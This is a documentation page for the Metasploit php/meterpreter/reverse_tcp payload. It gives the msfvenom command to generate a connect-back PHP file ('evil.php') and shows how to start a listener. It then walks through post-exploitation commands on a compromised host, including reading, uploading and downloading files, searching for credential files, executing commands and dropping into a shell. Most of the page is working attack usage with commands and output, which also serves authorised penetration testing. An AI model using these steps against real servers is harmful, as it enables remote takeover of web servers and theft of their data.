PHP Meterpreter, PHP Reverse TCP Stager - Metasploit


This page contains detailed information about how to use the payload/php/meterpreter/reverse_tcp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: PHP Meterpreter, PHP Reverse TCP Stager
Module: payload/php/meterpreter/reverse_tcp
Source code: modules/payloads/stagers/php/reverse_tcp.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use payload/php/meterpreter/reverse_tcp
msf payload(reverse_tcp) > show options
    ... show and set options ...
msf payload(reverse_tcp) > generate

To learn how to generate payload/php/meterpreter/reverse_tcp with msfvenom, please read this.

Required Options

  • LHOST: The listen address (an interface may be specified)

Knowledge Base

The php/meterpreter/reverse_tcp is a staged payload used to gain meterpreter access to a compromised system. This is a unique payload in the Metasploit Framework because this payload is one of the only payloads that are used in RFI vulnerabilities in web apps. This module can be cross platform, but the target needs to be able to run php code.

Vulnerable Application

The PHP Meterpreter is suitable for any system that supports PHP. For example, the module can be used against webservers which run PHP code for a website. OS X has PHP installed by default.

Deploying php/meterpreter/reverse_tcp

Scenarios

Specific demo of using the module that might be useful in a real world scenario.

Generating a file with msfvenom

  msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o evil.php

Starting a listener

msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [IP]
LHOST => [IP]
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit

[*] Started reverse TCP handler on [IP]

Important Basic Commands

Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the PHP Meterpreter has less commands, but here's a list of all the common ones you might need:

pwd command

The pwd command tells you the current working directory. For example:

meterpreter > pwd
/Users/thecarterb/Desktop

cd command

The cd command allows you to change directories. Example:

meterpreter > cd /Users/thecarterb/Desktop
meterpreter > pwd
/Users/thecarterb/Desktop

cat command

The cat command allows you to see the content of a file:

meterpreter > cat /tmp/data.txt
Hello World!

upload command

The upload command allows you to upload a file to the remote target. This is useful for uploading additional payload files. For example:

meterpreter > upload /tmp/data.txt /Users/thecarterb/Desktop
[*] uploading  : /tmp/data.txt -> /Users/thecarterb/Desktop
[*] uploaded   : /tmp/data.txt -> /Users/thecarterb/Desktop/data.txt
meterpreter >

download command

The download command allows you to download a file from the remote target to your machine. For example:

meterpreter > download /Users/thecarterb/Desktop/data.txt /tmp/pass.txt
[*] downloading: /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
[*] download   : /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
meterpreter >

search command

The search command allows you to find files on the remote file system. For example, this shows how to find all text files in the current directory:

meterpreter > search -d . -f *.txt
Found 2 results...
    .\pass.txt (13 bytes)
    ./creds\data.txt (83 bytes)
meterpreter >

Without the -d option, the command will attempt to search in all drives.

The -r option for the command allows you to search recursively.

getuid command

The getuid command tells you the current user that Meterpreter is running on. For example:

meterpreter > getuid
Server username: root

execute command

The execute command allows you to execute a command or file on the remote machine.

The following examples uses the command to create a text file:

meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
Process 73642 created.
meterpreter >

ps command

The ps command lists the running processes on the remote machine.

shell command

The shell command allows you to interact with the remote machine's command prompt (or shell). For example:

meterpreter > shell
Process 74513 created.
Channel 2 created.
sh-3.2#

If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.

sysinfo

The sysinfo command shows you basic information about the remote machine. Such as:

  • Computer name
  • OS name
  • Architecture
  • Meterpreter type

Using post modules

When using the PHP Meterpreter, you have the feature of using Metasploit's post modules on that specific session. By default, most multi post modules will work; however, you can also use OS specific modules depending on the OS of the compromised system. For example, if you have a PHP Meterpreter session running on OS X, you can use osx post modules on that session.

Don't forget to: - Set the LHOST datastore option to the connect-back IP Address - If you want to get multiple shells, set ExitOnSession to false

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Msfconsole Usage

Here is how the php/meterpreter/reverse_tcp payload looks in the msfconsole:

msf6 > use payload/php/meterpreter/reverse_tcp

msf6 payload(php/meterpreter/reverse_tcp) > show info

       Name: PHP Meterpreter, PHP Reverse TCP Stager
     Module: payload/php/meterpreter/reverse_tcp
   Platform: PHP
       Arch: php
Needs Admin: No
 Total size: 1101
       Rank: Normal

Provided by:
  egypt <[email protected]>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Description:
  Run a meterpreter server in PHP. Reverse PHP connect back stager 
  with checks for disabled functions

Module Options

This is a complete list of options available in the php/meterpreter/reverse_tcp payload:

msf6 payload(php/meterpreter/reverse_tcp) > show options

Module options (payload/php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Advanced Options

Here is a complete list of advanced options supported by the php/meterpreter/reverse_tcp payload:

msf6 payload(php/meterpreter/reverse_tcp) > show advanced

Module advanced options (payload/php/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

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See Also

Check also the following modules related to this module:

Authors

  • egypt

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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